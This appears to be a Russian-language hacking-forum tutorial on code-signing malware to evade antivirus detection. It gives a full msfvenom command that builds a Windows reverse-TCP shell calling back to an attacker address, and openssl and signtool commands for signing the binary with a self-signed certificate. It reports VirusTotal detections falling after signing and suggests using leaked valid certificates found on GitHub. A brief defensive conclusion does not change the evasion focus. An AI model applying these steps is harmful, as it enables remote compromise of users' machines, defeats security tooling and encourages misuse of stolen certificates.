Когда пользователь пытается загрузить исполняемый файл из интернета, он часто подписан компанией как способ доказать пользователю, что это надежный исполняемый файл.
Несмотря на то что системы безопасности все равно будут проверять исполняемый файл, на него была бы направлена дополнительная проверка, если бы бинарный файл не был подписан.
Предлагаю рассмотреть шаги, необходимые для подписания вредоносного бинарного файла, что может повысить его надежность.
В статье демонстрируется подписание бинарного файла на исполняемом файле, созданном через Msfvenom: msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o mybin.exe
Тест, как подпись влияет на детект:
Перед началом бинарный файл был загружен на VirusTotal, чтобы увидеть степень обнаружения до подписания бинарного файла.
Степень обнаружения довольно высока: 52 из 71 антивирусов отметили файл как вредоносный.
Значение подписи для Безопасности
Подпись кода важно, потому что оно предоставляет дополнительный уровень доверия к исходному коду. Однако это также может быть использовано злоумышленниками для обхода систем безопасности и обмана пользователей. Инструменты, такие как Msfvenom, позволяют создавать вредоносные бинарные файлы, которые затем могут быть подписаны, чтобы уменьшить вероятность их обнаружения.
Несмотря на это, организации и пользователи должны оставаться настороже и не полагаться исключительно на подписи для верификации надежности файла.
Получение Сертификата
Существует несколько способов получения сертификата:
- Самый предпочтительный способ - приобрести сертификат у доверенного поставщика, такого как DigiCert.
- Еще одна возможность - использовать самоподписанный сертификат. Хотя это не будет таким эффективным, как сертификат от доверенного центра, в статье далее будет показано, что это все равно может оказать влияние на частоту обнаружения.
- Последний вариант - найти действительные сертификаты, которые утекли в интернете (например, на Github).
Попробуем сами подписать свой бинарник и глянем что будет.)
Для этого потребуется openssl, который предустановлен в Kali Linux.
Команда для создания сертификата:
Код:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365
После выполнения команды, система попросит вас предоставить детали для создания сертификата, такие как страна, организация и так далее. После завершения этого процесса у вас будет готов сертификат и соответствующий ему закрытый ключ.
Далее, генерируем файл pfx, используя файлы pem. Инструмент потребует ввода ключевой фразы.
Код:
openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx
При выполнении этой команды вам будет предложено ввести пароль для закрытого ключа (если вы установили его ранее) и затем задать пароль для нового файла pfx. Этот пароль потребуется в дальнейшем, когда вы будете использовать файл pfx для подписи исполняемых файлов или других целей.
Файл PFX (также известный как PKCS #12) комбинирует сертификат и соответствующий ему закрытый ключ в один файл, который может быть использован для импорта и экспорта между системами или для безопасного хранения.
Подписание Бинарного Файла
Для подписи бинарного файла требуется утилита signtool.exe, которая является частью Windows SDK. Ее можно установить
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.После установки бинарный файл можно подписать с помощью указанной ниже команды.
Код:
signtool sign /f sign.pfx /p <pfx-password> /t http://timestamp.digicert.com /fd sha256 binary.exe
Просмотр свойств бинарного файла теперь будет показывать вкладку "Цифровая подпись", на которой отображаются детали сертификата, используемого для подписи бинарного файла. Также будет показано предупреждение о том, что сертификат не доверен.
Примечание: Самоподписанный сертификат, очевидно, не будет иметь доверия на большинстве систем. Если вам нужно доверие к вашему сертификату, вам следует приобрести его у аккредитованного удостоверяющего центра. Подпись бинарного файла, даже самоподписанным сертификатом, может снизить вероятность его обнаружения некоторыми антивирусами, но все же это не гарантирует полное доверие к файлу.
Тестирование степени обнаружения подписанного бинарного файла
Бинарный файл был загружен обратно на VirusTotal, чтобы проверить, оказало ли подписание влияние на степень обнаружения. Как можно было ожидать, количество систем безопасности, которые отметили файл как вредоносный, сократилось с 52 до 47. На первый взгляд это может не показаться значительным уменьшением, но следует подчеркнуть, что к файлу не были внесены никакие изменения, кроме его подписи сертификатом.
Вывод:
Подписание бинарного файла действительно может влиять на его обнаружение системами безопасности. Это подчеркивает важность управления и контроля над использованием сертификатов, а также необходимость для компаний и пользователей оставаться настороже даже в отношении подписанных файлов. На практике подписание может использоваться злоумышленниками как один из методов уменьшения вероятности обнаружения их вредоносного ПО.
Последнее редактирование: